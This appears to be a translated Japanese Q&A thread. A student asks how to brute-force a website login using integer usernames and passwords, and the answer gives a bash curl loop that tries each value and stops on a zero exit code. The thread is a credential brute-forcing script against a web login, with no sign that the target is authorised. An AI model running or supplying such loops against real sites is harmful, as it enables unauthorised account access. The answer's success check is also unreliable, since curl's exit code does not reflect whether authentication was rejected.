コンピュータサイエンスを専攻する私は今コマンドラインの使用法を学んでいます。ユーザー名とパスワードが特定の範囲内の整数であることを知ってWebサイトにログインするには、無差別代入を使用する必要があります。これが私が今まで持っているものですが、うまくいかないようです。
for i in {2000..3000}; do curl http://admin:[email protected]/link; done
どうやって進めますか?
答え1
i
あなたのルーチンに欠けているのは、ルーチンが見つかったときに終了する正しい方法です。これを行うには、カールから返された終了コードを表示できます。
for i in {2000..3000}
do
curl http://admin:[email protected]/link
if [ "$?" -eq 0 ]; then
echo Found "$i"
break
fi
done
すべて正常の場合、終了値はcurl
0になり、プログラム終了後に特殊変数を確認して直接確認できます$?
。終了コードでわかるさまざまな項目をすべて表示するには、使用してman curl
検索してください。EXIT CODE
curl